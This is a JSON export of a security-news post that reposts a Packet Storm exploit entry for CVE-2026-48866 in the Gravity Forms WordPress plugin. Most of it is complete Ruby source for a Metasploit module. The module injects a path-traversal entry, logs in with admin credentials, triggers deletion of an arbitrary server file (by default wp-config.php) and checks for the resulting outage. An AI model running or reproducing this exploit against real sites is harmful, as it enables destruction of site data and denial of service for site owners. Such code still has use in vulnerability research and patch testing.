{"id":62292,"date":"2026-06-12T12:42:17","date_gmt":"2026-06-12T12:42:17","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=62292"},"modified":"2026-06-12T12:42:17","modified_gmt":"2026-06-12T12:42:17","slug":"wordpress-gravity-forms-21001-file-deletion-path-traversal","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=62292","title":{"rendered":"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin versions 2.10.0.1 and below where file URLs stored in form entries are not properly validated. An attacker can inject a crafted entry containing path traversal&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223339&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-48866&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Gravity Forms arbitrary file deletion via path traversal                                                         |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/gravityforms.com                                                                                         |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :  This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin (\u2264 2.10.0.1) where file URLs stored in form entries are not properly validated. \\n                      An attacker can inject a crafted entry containing path traversal sequences (..\/) to reference files outside the intended uploads directory.\\n    \\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HTTP::Wordpress\\n      include Msf::Auxiliary::Report\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Gravity Forms Arbitrary File Deletion via Path Traversal&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a path traversal vulnerability in Gravity Forms\\n              plugin for WordPress (versions \\u003c= 2.10.0.1). The plugin does not validate\\n              that file URLs stored in entries are within the uploads directory.\\n    \\n              An attacker can submit a form with a crafted gform_uploaded_files parameter\\n              containing path traversal sequences (..\/). When an admin later deletes\\n              the entry (or the file from the entry), the delete_physical_file()\\n              function resolves the traversal and deletes an arbitrary file from\\n              the server filesystem.\\n    \\n              This module can either:\\n              1. Inject the malicious entry (unauthenticated)\\n              2. Optionally trigger the deletion using admin credentials\\n            },\\n            &#8216;Author&#8217; =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-48866&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.gravityforms.com\/changelog\/&#8217;],\\n              [&#8216;WPVDB&#8217;, &#8216;12345&#8217;] \\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-06-01&#8217;,\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, CONFIG_CHANGES]\\n            },\\n            &#8216;Actions&#8217; =\\u003e [\\n              [&#8216;INJECT&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Only inject malicious entry&#8217; }],\\n              [&#8216;TRIGGER&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Inject and trigger deletion&#8217; }]\\n            ],\\n            &#8216;DefaultAction&#8217; =\\u003e &#8216;TRIGGER&#8217;\\n          )\\n        )\\n        register_options([\\n          OptInt.new(&#8216;FORM_ID&#8217;, [true, &#8216;Gravity Forms form ID&#8217;, 1]),\\n          OptInt.new(&#8216;FIELD_ID&#8217;, [true, &#8216;File upload field ID&#8217;, 1]),\\n          OptString.new(&#8216;TARGET_FILE&#8217;, [true, &#8216;File to delete (relative to WP root)&#8217;, &#8216;wp-config.php&#8217;]),\\n          OptInt.new(&#8216;TRAVERSAL_DEPTH&#8217;, [true, &#8216;Path traversal depth&#8217;, 3]),\\n          OptString.new(&#8216;UPLOAD_URL&#8217;, [false, &#8216;Full upload URL root (auto-detected if omitted)&#8217;]),\\n          OptString.new(&#8216;WP_ADMIN_USER&#8217;, [false, &#8216;WordPress admin username (for TRIGGER action)&#8217;]),\\n          OptString.new(&#8216;WP_ADMIN_PASS&#8217;, [false, &#8216;WordPress admin password (for TRIGGER action)&#8217;]),\\n          OptInt.new(&#8216;DELAY_BEFORE_TRIGGER&#8217;, [false, &#8216;Seconds to wait before triggering deletion&#8217;, 5])\\n        ])\\n        register_advanced_options([\\n          OptBool.new(&#8216;VERIFY_FILE_DELETION&#8217;, [true, &#8216;Check if file was deleted&#8217;, false])\\n        ])\\n      end\\n      def form_id\\n        datastore[&#8216;FORM_ID&#8217;]\\n      end\\n      def field_id\\n        datastore[&#8216;FIELD_ID&#8217;]\\n      end\\n      def target_file\\n        datastore[&#8216;TARGET_FILE&#8217;]\\n      end\\n      def traversal_depth\\n        datastore[&#8216;TRAVERSAL_DEPTH&#8217;]\\n      end\\n      def upload_url\\n        datastore[&#8216;UPLOAD_URL&#8217;]\\n      end\\n      def admin_user\\n        datastore[&#8216;WP_ADMIN_USER&#8217;]\\n      end\\n      def admin_pass\\n        datastore[&#8216;WP_ADMIN_PASS&#8217;]\\n      end\\n      def check\\n        print_status(\\&#8221;Checking if Gravity Forms is installed&#8230;\\&#8221;)\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(wordpress_url_plugins, &#8216;gravityforms&#8217;, &#8216;gravityforms.php&#8217;)\\n        })\\n        unless res \\u0026\\u0026 res.code == 200\\n          print_error(\\&#8221;Gravity Forms plugin not detected\\&#8221;)\\n          return CheckCode::Safe\\n        end\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(wordpress_url_plugins, &#8216;gravityforms&#8217;, &#8216;readme.txt&#8217;)\\n        })\\n        if res \\u0026\\u0026 res.code == 200\\n          version = res.body.scan(\/Stable tag:\\\\s*([0-9.]+)\/i).flatten.first\\n          if version\\n            print_status(\\&#8221;Gravity Forms version detected: #{version}\\&#8221;)\\n            if version \\u003c= &#8216;2.10.0.1&#8217;\\n              return CheckCode::Appears\\n            else\\n              return CheckCode::Safe\\n            end\\n          end\\n        end\\n        CheckCode::Detected\\n      end\\n      def get_form_nonce\\n        print_status(\\&#8221;Fetching form page to extract nonce&#8230;\\&#8221;)\\n        form_paths = [\\n          &#8216;\/&#8217;,\\n          \\&#8221;\/?gf_page=preview\\u0026id=#{form_id}\\&#8221;,\\n          &#8216;\/contact\/&#8217;,\\n          &#8216;\/submit\/&#8217;,\\n          \\&#8221;\/wp-admin\/admin.php?page=gf_edit_forms\\u0026view=settings\\u0026subview=preview\\u0026id=#{form_id}\\&#8221;\\n        ]\\n        nonce = nil\\n        unique_id = generate_random_string(12)\\n        page_body = nil\\n    \\n        form_paths.each do |path|\\n          begin\\n            res = send_request_cgi({\\n              &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(path)\\n            })\\n            if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(\\&#8221;gform_submit_#{form_id}\\&#8221;)\\n              page_body = res.body\\n              break\\n            end\\n          rescue ::Rex::ConnectionError\\n            next\\n          end\\n        end\\n        unless page_body\\n          print_error(\\&#8221;Could not access form page\\&#8221;)\\n          return [nil, nil, nil]\\n        end\\n        nonce_patterns = [\\n          \/gform_ajax_nonce[\\&#8221;\\\\s:]+[\\&#8221;\\\\&#8217;]([a-f0-9]+)[\\&#8221;\\\\&#8217;]\/,\\n          \/name=[\\&#8221;\\\\&#8217;]gform_ajax_nonce[\\&#8221;\\\\&#8217;][^\\u003e]*value=[\\&#8221;\\\\&#8217;]([a-f0-9]+)[\\&#8221;\\\\&#8217;]\/,\\n          \/\\&#8221;nonce\\&#8221;:\\&#8221;([a-f0-9]+)\\&#8221;\/,\\n          \/gform_ajax_nonce=([a-f0-9]+)\/\\n        ]\\n        nonce_patterns.each do |pattern|\\n          match = page_body.match(pattern)\\n          if match\\n            nonce = match[1]\\n            break\\n          end\\n        end\\n        unique_id_patterns = [\\n          \/gform_unique_id[\\&#8221;\\\\s:]+[\\&#8221;\\\\&#8217;]([a-zA-Z0-9]+)[\\&#8221;\\\\&#8217;]\/,\\n          \/name=[\\&#8221;\\\\&#8217;]gform_unique_id[\\&#8221;\\\\&#8217;][^\\u003e]*value=[\\&#8221;\\\\&#8217;]([a-zA-Z0-9]+)[\\&#8221;\\\\&#8217;]\/\\n        ]\\n        unique_id_patterns.each do |pattern|\\n          match = page_body.match(pattern)\\n          if match\\n            unique_id = match[1]\\n            break\\n          end\\n        end\\n        print_good(\\&#8221;Got nonce: #{nonce}\\&#8221;) if nonce\\n        print_good(\\&#8221;Got unique_id: #{unique_id}\\&#8221;) if unique_id\\n        [nonce, unique_id, page_body]\\n      end\\n      def craft_payload\\n        traversal = &#8216;..\/&#8217; * traversal_depth\\n        if upload_url\\n          base_url = upload_url\\n        else\\n          base_url = \\&#8221;#{target_uri}\/wp-content\/uploads\/gravity_forms\\&#8221;\\n        end\\n        malicious_url = \\&#8221;#{base_url.rstrip(&#8216;\/&#8217;)}\/#{traversal}#{target_file}\\&#8221;\\n        input_name = \\&#8221;input_#{field_id}\\&#8221;\\n    \\n        payload_hash = {\\n          input_name =\\u003e [\\n            {\\n              &#8216;url&#8217; =\\u003e malicious_url,\\n              &#8216;uploaded_filename&#8217; =\\u003e &#8216;legitimate.txt&#8217;,\\n              &#8216;id&#8217; =\\u003e \\&#8221;poc-#{Rex::Text.rand_text_alpha(8)}\\&#8221;\\n            }\\n          ]\\n        }\\n        [JSON.generate(payload_hash), malicious_url, input_name]\\n      end\\n      def submit_form\\n        print_status(\\&#8221;Injecting path traversal payload&#8230;\\&#8221;)\\n        nonce, unique_id, _ = get_form_nonce\\n        unless unique_id\\n          print_error(\\&#8221;Could not extract gform_unique_id\\&#8221;)\\n          return [false, nil]\\n        end\\n        payload_json, malicious_url, input_name = craft_payload\\n        print_good(\\&#8221;Crafted malicious URL: #{malicious_url}\\&#8221;)\\n        post_data = {\\n          \\&#8221;is_submit_#{form_id}\\&#8221; =\\u003e &#8216;1&#8217;,\\n          &#8216;gform_submit&#8217; =\\u003e form_id.to_s,\\n          \\&#8221;gform_unique_id\\&#8221; =\\u003e unique_id,\\n          &#8216;gform_uploaded_files&#8217; =\\u003e payload_json,\\n          &#8216;gform_target_page_number_1&#8217; =\\u003e &#8216;0&#8217;,\\n          &#8216;gform_source_page_number_1&#8217; =\\u003e &#8216;1&#8217;,\\n          &#8216;gform_field_values&#8217; =\\u003e &#8221;,\\n          &#8216;action&#8217; =\\u003e &#8216;gform_submit_form&#8217;\\n        }\\n    \\n        post_data[\\&#8221;gform_ajax_nonce\\&#8221;] = nonce if nonce\\n        ajax_url = normalize_uri(wordpress_url_admin, &#8216;admin-ajax.php&#8217;)\\n        print_status(\\&#8221;Submitting form #{form_id} to #{ajax_url}&#8230;\\&#8221;)\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e ajax_url,\\n          &#8216;vars_post&#8217; =\\u003e post_data,\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;X-Requested-With&#8217; =\\u003e &#8216;XMLHttpRequest&#8217;,\\n            &#8216;Content-Type&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded&#8217;\\n          }\\n        })\\n        unless res\\n          print_error(\\&#8221;No response from server\\&#8221;)\\n          return [false, nil]\\n        end\\n        print_status(\\&#8221;Response status: #{res.code}\\&#8221;)\\n        entry_id = nil\\n        if res.code == 200\\n          entry_patterns = [\\n            \/\\&#8221;entry_id\\&#8221;\\\\s*:\\\\s*\\&#8221;?(\\\\d+)\\&#8221;?\/,\\n            \/entry_id=(\\\\d+)\/,\\n            \/lid=(\\\\d+)\/\\n          ]\\n          entry_patterns.each do |pattern|\\n            match = res.body.match(pattern)\\n            if match\\n              entry_id = match[1]\\n              break\\n            end\\n          end\\n          if res.body.include?(&#8216;gformRedirect&#8217;) ||\\n             res.body.include?(&#8216;confirmation&#8217;) ||\\n             res.body.include?(&#8216;thank&#8217;)\\n            print_good(\\&#8221;Form submitted successfully\\&#8221;)\\n            print_good(\\&#8221;Entry ID: #{entry_id}\\&#8221;) if entry_id\\n            return [true, entry_id]\\n          elsif res.body.include?(&#8216;validation_error&#8217;)\\n            print_error(\\&#8221;Form validation failed &#8211; form may require additional fields\\&#8221;)\\n            print_status(\\&#8221;Response: #{res.body[0..500]}\\&#8221;) if datastore[&#8216;VERBOSE&#8217;]\\n            return [false, nil]\\n          else\\n            print_warning(\\&#8221;Unclear response &#8211; may not have created entry\\&#8221;)\\n            print_status(\\&#8221;Response: #{res.body[0..500]}\\&#8221;) if datastore[&#8216;VERBOSE&#8217;]\\n            return [false, nil]\\n          end\\n        else\\n          print_error(\\&#8221;Submission failed with status #{res.code}\\&#8221;)\\n          print_status(\\&#8221;Attempting direct POST to form action&#8230;\\&#8221;)\\n          direct_res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e target_uri.path,\\n            &#8216;vars_post&#8217; =\\u003e post_data.except(&#8216;action&#8217;)\\n          })\\n          if direct_res \\u0026\\u0026 direct_res.code == 200\\n            print_good(\\&#8221;Direct POST successful\\&#8221;)\\n            return [true, nil]\\n          end\\n          return [false, nil]\\n        end\\n      end\\n      def login_as_admin\\n        print_status(\\&#8221;Attempting to login as admin&#8230;\\&#8221;)\\n        login_data = {\\n          &#8216;log&#8217; =\\u003e admin_user,\\n          &#8216;pwd&#8217; =\\u003e admin_pass,\\n          &#8216;wp-submit&#8217; =\\u003e &#8216;Log In&#8217;,\\n          &#8216;redirect_to&#8217; =\\u003e normalize_uri(wordpress_url_admin),\\n          &#8216;testcookie&#8217; =\\u003e &#8216;1&#8217;\\n        }\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;wp-login.php&#8217;),\\n          &#8216;vars_post&#8217; =\\u003e login_data,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(wordpress_url_admin),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        if res \\u0026\\u0026 (res.body.include?(&#8216;dashboard&#8217;) || res.code == 200)\\n          print_good(\\&#8221;Logged in as #{admin_user}\\&#8221;)\\n          return true\\n        else\\n          print_error(\\&#8221;Login failed\\&#8221;)\\n          return false\\n        end\\n      end\\n      def trigger_deletion(entry_id)\\n        print_status(\\&#8221;Triggering entry deletion&#8230;\\&#8221;)\\n        unless login_as_admin\\n          print_error(\\&#8221;Cannot trigger deletion without admin access\\&#8221;)\\n          return false\\n        end\\n        entries_url = normalize_uri(wordpress_url_admin, &#8216;admin.php&#8217;, { &#8216;page&#8217; =\\u003e &#8216;gf_entries&#8217; })\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e entries_url,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        unless res \\u0026\\u0026 res.code == 200\\n          print_error(\\&#8221;Could not access entries page\\&#8221;)\\n          return false\\n        end\\n        delete_nonce = nil\\n        nonce_patterns = [\\n          \/page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)\/,\\n          \/_wpnonce=([a-f0-9]+).*?delete\/,\\n          \/name=\\&#8221;_wpnonce\\&#8221;\\\\s+value=\\&#8221;([a-f0-9]+)\\&#8221;\/\\n        ]\\n        nonce_patterns.each do |pattern|\\n          match = res.body.match(pattern)\\n          if match\\n            delete_nonce = match[1]\\n            break\\n          end\\n        end\\n        unless delete_nonce\\n          print_error(\\&#8221;Could not extract delete nonce\\&#8221;)\\n          return false\\n        end\\n        print_good(\\&#8221;Got delete nonce: #{delete_nonce}\\&#8221;)\\n        target_entry = entry_id || find_latest_entry\\n        unless target_entry\\n          print_error(\\&#8221;No entry ID available to delete\\&#8221;)\\n          return false\\n        end\\n        print_status(\\&#8221;Deleting entry #{target_entry}&#8230;\\&#8221;)\\n        delete_data = {\\n          &#8216;action&#8217; =\\u003e &#8216;delete&#8217;,\\n          &#8216;entry[]&#8217; =\\u003e target_entry.to_s,\\n          &#8216;_wpnonce&#8217; =\\u003e delete_nonce\\n        }\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e entries_url,\\n          &#8216;vars_post&#8217; =\\u003e delete_data,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        if res \\u0026\\u0026 res.code == 200\\n          print_good(\\&#8221;Entry deleted &#8211; target file should now be deleted\\&#8221;)\\n          return true\\n        else\\n          print_error(\\&#8221;Delete request failed\\&#8221;)\\n          return false\\n        end\\n      end\\n      def find_latest_entry\\n        rest_url = normalize_uri(&#8216;wp-json&#8217;, &#8216;gf\/v2&#8217;, &#8216;entries&#8217;)\\n        rest_url \\u003c\\u003c \\&#8221;?_sort_direction=DESC\\u0026paging[page_size]=1\\&#8221;\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e rest_url,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        if res \\u0026\\u0026 res.code == 200\\n          begin\\n            json_data = JSON.parse(res.body)\\n            if json_data[&#8216;entries&#8217;] \\u0026\\u0026 !json_data[&#8216;entries&#8217;].empty?\\n              return json_data[&#8216;entries&#8217;][0][&#8216;id&#8217;]\\n            end\\n          rescue JSON::ParserError\\n          end\\n        end\\n        entries_url = normalize_uri(wordpress_url_admin, &#8216;admin.php&#8217;, { &#8216;page&#8217; =\\u003e &#8216;gf_entries&#8217; })\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e entries_url,\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        })\\n        if res \\u0026\\u0026 res.code == 200\\n          matches = res.body.scan(\/entry_id=(\\\\d+)\/)\\n          return matches.flatten.first if matches.any?\\n        end\\n        nil\\n      end\\n      def verify_file_deletion\\n        print_status(\\&#8221;Verifying target file status&#8230;\\&#8221;)\\n        res = send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e target_uri.path\\n        })\\n        if res\\n          if res.code == 500 || res.body =~ \/error establishing a database connection\/i\\n            print_good(\\&#8221;Site appears to be having database issues &#8211; wp-config.php likely deleted!\\&#8221;)\\n            return true\\n          elsif res.code == 200\\n            print_status(\\&#8221;Site still responding normally\\&#8221;)\\n            return false\\n          end\\n        end\\n        print_status(\\&#8221;Could not definitively verify file deletion\\&#8221;)\\n        nil\\n      end\\n      def generate_random_string(length)\\n        Rex::Text.rand_text_alphanumeric(length)\\n      end\\n      def run\\n        print_status(\\&#8221;Starting CVE-2026-48866 exploitation\\&#8221;)\\n        check_result = check\\n        if check_result == CheckCode::Safe\\n          print_error(\\&#8221;Target does not appear vulnerable\\&#8221;)\\n          return\\n        elsif check_result == CheckCode::Detected\\n          print_status(\\&#8221;Gravity Forms detected but version unknown\\&#8221;)\\n        else\\n          print_good(\\&#8221;Target appears vulnerable\\&#8221;)\\n        end\\n        print_status(\\&#8221;Target file to delete: #{target_file}\\&#8221;)\\n        print_status(\\&#8221;Traversal depth: #{traversal_depth}\\&#8221;)\\n    \\n        success, entry_id = submit_form\\n        unless success\\n          print_error(\\&#8221;Failed to inject malicious entry\\&#8221;)\\n          return\\n        end\\n        report_note(\\n          host: rhost,\\n          port: rport,\\n          type: &#8216;gravity_forms_poisoned_entry&#8217;,\\n          data: {\\n            form_id: form_id,\\n            field_id: field_id,\\n            target_file: target_file,\\n            entry_id: entry_id\\n          },\\n          update: :unique_data\\n        )\\n        if action.name == &#8216;TRIGGER&#8217;\\n          if admin_user.nil? || admin_pass.nil?\\n            print_error(\\&#8221;TRIGGER action requires WP_ADMIN_USER and WP_ADMIN_PASS options\\&#8221;)\\n            return\\n          end\\n          print_status(\\&#8221;Waiting #{datastore[&#8216;DELAY_BEFORE_TRIGGER&#8217;]} seconds before triggering&#8230;\\&#8221;)\\n          Rex.sleep(datastore[&#8216;DELAY_BEFORE_TRIGGER&#8217;])\\n          delete_success = trigger_deletion(entry_id)\\n          if delete_success \\u0026\\u0026 datastore[&#8216;VERIFY_FILE_DELETION&#8217;]\\n            verify_file_deletion\\n          end\\n          if delete_success\\n            print_good(\\&#8221;Successfully triggered file deletion\\&#8221;)\\n          else\\n            print_error(\\&#8221;Failed to trigger deletion &#8211; admin may need to delete entry manually\\&#8221;)\\n          end\\n        else\\n          print_good(\\&#8221;Malicious entry injected successfully\\&#8221;)\\n          print_status(\\&#8221;To trigger deletion:\\&#8221;)\\n          print_status(\\&#8221;  1. An admin must delete the entry containing the poisoned URL\\&#8221;)\\n          print_status(\\&#8221;  2. Or run module with TRIGGER action and valid admin credentials\\&#8221;)\\n          print_line\\n          print_status(\\&#8221;Target file &#8216;#{target_file}&#8217; will be deleted when entry is removed\\&#8221;)\\n        end\\n      end\\n    end\\n    \\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223339&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.6,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223339\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin versions 2.10.0.1 and below where file URLs stored in form entries are not&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,62,12,13,53,7,11,5],"class_list":["post-62292","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-96","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62292\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal_PACKETSTORM:223339 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin versions 2.10.0.1 and below where file URLs stored in form entries are not...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62292\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-12T12:42:17+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \\\/ Path Traversal_PACKETSTORM:223339\",\"datePublished\":\"2026-06-12T12:42:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292\"},\"wordCount\":2660,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.6\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62292#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62292\",\"name\":\"\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \\\/ Path Traversal_PACKETSTORM:223339 - zero 